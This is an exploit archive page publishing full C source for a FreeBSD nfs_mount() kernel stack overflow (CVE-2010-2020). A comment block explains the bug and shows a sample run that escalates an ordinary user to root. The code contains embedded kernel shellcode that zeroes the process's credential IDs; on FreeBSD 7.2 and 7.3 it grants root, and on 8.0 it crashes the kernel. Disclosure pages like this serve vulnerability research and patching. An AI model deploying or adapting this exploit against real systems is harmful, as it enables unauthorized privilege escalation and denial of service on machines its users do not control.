what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

nfs_mount() Local Denial Of Service / Privilege Escalation

nfs_mount() Local Denial Of Service / Privilege Escalation
Posted May 28, 2010
Authored by Patroklos Argyroudis | Site census-labs.com

Local kernel exploit for nfs_mount() on FreeBSD versions 8.0, 7.3 and 7.2. It escalates privileges on versions 7.2 and 7.3 and causes a denial of service on 8.0.

tags | exploit, denial of service, kernel, local
systems | freebsd
advisories | CVE-2010-2020
SHA-256 | 92298b6c7ebbb8ffd472450225e595757b19ebf2c26e89e268dc728e7a3e68b3

nfs_mount() Local Denial Of Service / Privilege Escalation

Change Mirror Download
/*
* nfs_mount_ex.c -- Patroklos Argyroudis, argp at domain census-labs.com
*
* Local kernel exploit for FreeBSD 8.0, 7.3 and 7.2.
*
* FreeBSD 8.0-RELEASE: Local kernel crash/denial-of-service.
* FreeBSD 7.3/7.2-RELEASE: Local privilege escalation.
*
* Discovered and exploited by Patroklos (argp) Argyroudis.
*
* The vulnerability is in nfs_mount() which is reachable by the mount(2)
* and nmount(2) system calls. In order for them to be enabled for
* unprivileged users the sysctl(8) variable vfs.usermount must be set to a
* non-zero value.
*
* nfs_mount() employs an insufficient input validation method for copying
* data passed in the struct nfs_args from userspace to kernel.
* Specifically, the file handle to be mounted (nfs_args.fh) and its size
* (nfs_args.fhsize) are completely user-controllable. In file
* sys/nfsclient/nfs_vfsops.c from 8.0-RELEASE:
*
* 1094 if (!has_fh_opt) {
* 1095 error = copyin((caddr_t)args.fh, (caddr_t)nfh,
* 1096 args.fhsize);
* 1097 if (error) {
* 1098 goto out;
* 1099 }
*
* The above can cause a kernel stack overflow which leads to privilege
* escalation in 7.3-RELEASE and 7.2-RELEASE, and a kernel crash /
* denial-of-service in 8.0-RELEASE (due to SSP/ProPolice). 7.1-RELEASE
* and earlier do not seem to be vulnerable since the bug was introduced in
* 7.2-RELEASE.
*
* Sample run:
*
* [argp@julius ~]$ uname -rsi
* FreeBSD 7.3-RELEASE GENERIC
* [argp@julius ~]$ sysctl vfs.usermount
* vfs.usermount: 1
* [argp@julius ~]$ id
* uid=1001(argp) gid=1001(argp) groups=1001(argp)
* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* [argp@julius ~]$ ./nfs_mount_ex
* [*] calling nmount()
* [!] nmount error: -1030740736
* nmount: Unknown error: -1030740736
* [argp@julius ~]$ id
* uid=0(root) gid=0(wheel) egid=1001(argp) groups=1001(argp)
*
* $Id: nfs_mount_ex.c,v c1302ea1317d 2010/05/23 17:30:17 argp $
*/

#include <sys/param.h>
#include <sys/mount.h>
#include <sys/uio.h>
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sysexits.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <errno.h>
#include <nfsclient/nfsargs.h>

#define BUFSIZE 272

#define FSNAME "nfs"
#define DIRPATH "/tmp/nfs"

unsigned char kernelcode[] =
"\x64\xa1\x00\x00\x00\x00" /* movl %fs:0, %eax */
"\x8b\x40\x04" /* movl 0x4(%eax), %eax */
"\x8b\x40\x30" /* movl 0x30(%eax),%eax */
"\x31\xc9" /* xorl %ecx, %ecx */
"\x89\x48\x04" /* movl %ecx, 0x4(%eax) */
"\x89\x48\x08" /* movl %ecx, 0x8(%eax) */
"\x81\xc4\xb0\x01\x00\x00" /* addl $0x1b0, %esp */
"\x5b" /* popl %ebx */
"\x5e" /* popl %esi */
"\x5f" /* popl %edi */
"\x5d" /* popl %ebp */
"\xc3"; /* ret */

int
main()
{
char *ptr;
long *lptr;
struct nfs_args na;
struct iovec iov[6];

na.version = 3;
na.fh = calloc(BUFSIZE, sizeof(char));

if(na.fh == NULL)
{
perror("calloc");
exit(1);
}

memset(na.fh, 0x41, BUFSIZE);
na.fhsize = BUFSIZE;

ptr = (char *)na.fh;
lptr = (long *)(na.fh + BUFSIZE - 8);

*lptr++ = 0x12345678; /* saved %ebp */
*lptr++ = (u_long)ptr; /* saved %eip */

memcpy(ptr, kernelcode, (sizeof(kernelcode) - 1));

mkdir(DIRPATH, 0700);

iov[0].iov_base = "fstype";
iov[0].iov_len = strlen(iov[0].iov_base) + 1;

iov[1].iov_base = FSNAME;
iov[1].iov_len = strlen(iov[1].iov_base) + 1;

iov[2].iov_base = "fspath";
iov[2].iov_len = strlen(iov[2].iov_base) + 1;

iov[3].iov_base = DIRPATH;
iov[3].iov_len = strlen(iov[3].iov_base) + 1;

iov[4].iov_base = "nfs_args";
iov[4].iov_len = strlen(iov[4].iov_base) + 1;

iov[5].iov_base = &na;
iov[5].iov_len = sizeof(na);

printf("[*] calling nmount()\n");

if(nmount(iov, 6, 0) < 0)
{
fprintf(stderr, "[!] nmount error: %d\n", errno);
perror("nmount");
rmdir(DIRPATH);
free(na.fh);
exit(1);
}

printf("[*] unmounting and deleting %s\n", DIRPATH);

unmount(DIRPATH, 0);
rmdir(DIRPATH);
free(na.fh);

return 0;
}

/* EOF */
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close